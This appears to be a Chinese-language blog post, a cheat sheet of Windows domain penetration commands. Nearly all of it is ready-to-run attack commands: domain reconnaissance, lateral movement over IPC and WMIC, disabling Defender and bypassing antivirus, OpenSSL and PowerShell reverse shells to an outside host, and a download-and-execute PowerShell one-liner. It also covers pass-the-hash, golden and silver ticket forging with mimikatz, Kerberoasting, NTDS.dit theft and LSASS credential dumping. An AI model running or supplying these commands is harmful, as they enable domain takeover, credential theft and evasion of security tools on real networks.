域渗透常用命令

Posted on 2020-07-15,8 min read

信息搜集

net view /domain:XXX
查看XXX域中的机器列表
net view /domain
查看内网中有多少个域
setspn -T jumbolab.com -Q */*
快速寻找内网中注册的服务
net user /domain
查看域用户
net group "domain admins" /domain
查看域管
net time /domain
定位域控。也可以通过ipconfig /all。一般DNS就是域控
nltest /domain_trusts
列出域信任关系
cmdkey /list
远程连接凭据
nslookup -type=ns domain.com
域传输漏洞。查找所有的DNS解析
dsquery computer domainroot -limit 65535 && net group "domain computers" /domain
列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain
列出该域内所有用户名
dsquery subnet
列出该域内网段划分
dsquery group && net group /domain
列出该域内分组 
dsquery ou
列出该域内组织单位 
dsquery server && net time /domain
列出该域内域控制器 
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
列出杀软
wmic product get name,version
查看安装的软件
quser
查看在线用户
net config workstation
查看当前登陆域
dnsdump.exe -u 域名\与用户 -p 域密码 域控机器名
用普通域用户获取域内所有DNS解析
for /l %i in (1,1,255) do @ ping 10.233.33.%i -w 1 -n 1|find /i "ttl="
主机发现
find / -type f -uid +0
找不是root用户编辑的文件。用于找密码
tee可以替代>

IPC

net use \\IP\ipc$ "密码" /user:administrator
#建立IPC连接
net time \\IP
#获取远程IP的时间
copy calc.bat \\IP\C$
#把本地的calc.bat传到目标C盘
at \\IP 21:41 c:\calc.bat
#创建计划任务
at \\IP 21:41 cmd.exe /c  "ipconfig > c:\1.txt"
#直接执行命令
type \\IP\C$\1.txt
#获取命令执行结果
schtasks /create /s IP /tn 计划任务名 /sconstart /tr c:\calc.bat /ru system /f
#用schtasks命令创建计划任务
schtasks /delete /s IP /tn "计划任务名" /f 

WMICEXEC

wmic /node:IP /user:administrator /password:password process call create "cmd.exe /c ipconfig > c:\ip.txt"
type \\IP\C$\ip.txt
系统自带的WMIC命令。执行无日志
wmiexec.py Username:Password@IP

免杀

use evasion/windows/windows_defender_exe
可绕腾讯电脑管家

反弹Shell

openssl弹shell
服务端:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

靶机:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.198.200:8888 > /tmp/s; rm /tmp/s

powershell弹shell
服务端:
Import-Module .\powercat.ps1;powercat -l -v -p 443 -t 1000
靶机:
powershell -command ".\reverseshell.ps1"   

提权

post/multi/recon/local_exploit_suggest
windows/local/bypassuac_dotnet_profiler
自动寻找存在的提权漏洞

python windows-exploit-suggester.py  --update
systeminfo > info.txt
python windows-exploit-suggester.py -d 2017-06-14-mssb.xls -i info.txt
CVE提权辅助脚本

MS14-068

本地复现了下。用普通域用户名和密码去创建一个连接。会显示拒绝访问
MS14-068.exe -u Administrator@abc.com -p 123@abcD -s S-1-5-21-294942478-3080431383-2839947409-500 -d 192.168.0.3
#会在当前目录生成一个票据
kerberos::purge 
#清空当前的票据
kerberos::ptc 凭证地址
#注入票据 
创建票据。mimikatz导入。就可以访问了。但权限还是普通域用户权限
psesec.exe -accepteula \\dc.abc.com -s cmd.exe
可以配合psexec -s 得到一个System shell

mssql弹shell

exploit/windows/mssql/mssql_clr_payload

下载文件

powershell "iex(New-Object Net.WebClient).DownloadString('http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1')"
#下载文件并且执行

Windows关闭Defender

Set-MpPreference -disablerealtimeMonitoring $true

PTH(Hash传递攻击)

就是利用ntlm去拿一个shell。psexec。wmiexec都是PTH的利用。可以用hash。直接绕过验证访问服务
利用条件:已知用户ntlm

privilege::debug
#提升权限
sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:161cff084477fe596a5db81874498a24 /run:powershell.exe
#mimikatz执行
psexec会被日志纪录

msf中也有模块

exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(Powershell版本)

PTT(票据传递攻击)

白银票据:
就是利用票据。去得到一个shell。权限还是当前用户。ms14-068就是这个
利用条件:
已知域用户SID
已知域用户NTLM

kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116-1103 /domain:offensive.local /target:Offensive-SQL1:1433 /service:MSSQLSvc /rc4: 161cff084477fe596a5db81874498a24 /user:idontexist /id:1103 /ptt
#sid->域用户的SID
#target->开启了服务的目标
#service->攻击的服务类型
#rc4->域用户的NTLM
#user->随便写
#id->域用户的ID
misc::cmd
#派发shell

黄金票据
利用krbtgt密码的hash。获得域管权限

kerberos::purge
#清空票据
kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116 /domain:offensive.local /rc4:61d83c569b93bfcd4ca2087011361caa /user:idontexist /id:500
#输入krbtgt的ntlm。SUID。生成票据
kerberos::ptt ticket.kirbi
#导入票据
misc::cmd
#得到shell

Kerberoasting攻击

Add-Type -AssemblyName
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/Offensive-SQL1:1433'
#powershell执行。请求票据

kerberos::list /export
#mimikatz执行。提取刚刚获得的票据

python tgsrepcrack.py pass.txt "*.kirbi"
利用pass.txt爆破刚刚提取出来的票据

Mssql xp_cmdshell被禁用

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'

ntds.dit

用自带的工具diskshadow

c:\common.txt

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% i:
exec "cmd.exe" /c copy i:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows all
reset
exit

然后去c:/windows/system32执行diskshadow /s c:\command.txt
就能得到ntds.dit

. .\Invoke-NinjaCopy.ps1
#导入脚本
Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination 'C:\Users\dbadmin\Desktop    \ntds.dit'
#导出ntds.dit
reg save HKLM\SYSTEM C:\Users\dbadmin\Desktop\SYS
#导出SYSTEM
Copy-Item '\\dc.offensive.local\C$\Users\dbadmin\Desktop\ntds.dit'-Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'
#复制到远程主机上

修复ntds.dit

esentutl.exe /p 'C:\Users\dbadmin\Desktop\ntds.dit' /!10240 /8 /o

解析ntds.dit

一。powershell
Get-BootKey -SystemHivePath 'SYS'
$key = Get-BootKey -SystemHivePath 'SYS'
Get-ADDBAccount -All -DBPath 'C:\Users\alice\Desktop\tools\ntds.dit' -BootKey $key


二。利用impacket-secretsdump
impacket-secretsdump -system /root/Desktop/NTDS/SYSTEM -ntds /root/ntds.dit LOCAL

Kerberoasting攻击

. .\GetUserSPNs.ps1
 Add-Type -AssemblyName System.IdentityModel
 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/Offensive-SQL1:1433'
 mimikatz # kerberos::list /export
 python tgsrepcrack.py pass.txt "*.kirbi"

导出内存

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 924 C:\lsass.dmp full

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full"
#1316是lsass的进程ID。tasklist /svc|findstr lsass

SqlDumper.exe 1316 0 0x01100
#mssql的工具。1316照样是lsass.exe的PID
sekurlsa::minidump SQLDmpr0001.mdmp"
sekurlsa::logonPasswords full

SharpDump.exe


需要system权限
C:\Program Files\dotnet\shared\Microsoft.NETCore.App\5.0.0\createdump.exe
createdump.exe -u -f  xxx.dump  pid

HASH Relay

python Responder.py -I eth0
python MultiRelay.py -t 192.168.0.4 -u ALL
//要获取shell的目标IP
然后客户机去访问192.168.0.4,中继到shell

绕过360添加用户

Argue net1 xxxxxxxxxxxxxxxxxxxxxx
execute net1 user 123 123 /add

https://github.com/lengjibo/RedTeamTools/tree/master/windows/bypass360%E5%8A%A0%E7%94%A8%E6%88%B7
帐号:hacker 密码:P@ssw0rd

下一篇: SCTF jsonhub→